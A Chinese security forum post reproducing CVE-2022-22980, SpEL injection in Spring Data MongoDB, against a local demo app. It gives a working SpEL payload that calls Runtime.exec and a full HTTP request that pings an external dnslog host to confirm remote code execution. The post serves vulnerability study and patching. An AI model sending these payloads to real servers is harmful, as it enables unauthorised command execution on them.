佚名
发布于 IP属地北京

【漏洞左先锋】【开发框架漏洞】Spring Data MongoDB SpEL 表达式注入漏洞 CVE-2022-22980

漏洞描述

Spring Data MongoDB应用程序在对包含查询参数占位符的SpEL表达式使用@Query或@Aggregation注解的查询方法进行值绑定时,若输入未被过滤,则易遭受SpEL注入攻击。该漏洞允许未经身份验证的攻击者构造恶意数据执行远程代码,最终获取服务器权限。

漏洞影响

Spring Data MongoDB == 3.4.0 3.3.0 <= Spring Data MongoDB <= 3.3.4
更早或不再受支持的Spring Data MongoDB版本也受到此漏洞影响。

环境搭建

这里借助三梦师傅的漏洞demo

https://github.com/threedr3am/learnjavabug/tree/master/spring/spring-data-mongodb-spel-CVE-2022-22980

将源码下载后导入到idea,运行com.threedr3am.bug.spring.data.mongodb.Application.main,启动成功后访问

http://127.0.0.1:8080/demo

1.png

复现过程

  1. 使用带有 SpEL 表达式payload作为查询参数的值触发漏洞,payload如下:
T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('touch /tmp/bmh')
请求数据包如下:
POST http://127.0.0.1:8080/demo HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/x-www-form-urlencoded
Content-Length: 99

keyword=T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('ping d7v0n6.dnslog.cn')

1.png

2.png

修复建议

升级至官方修护的最新版本

参考材料

https://mp.weixin.qq.com/s/8zzXZgSwHAmte5t7KSDhdA

浏览 (731)
点赞 (5)
收藏
打赏
评论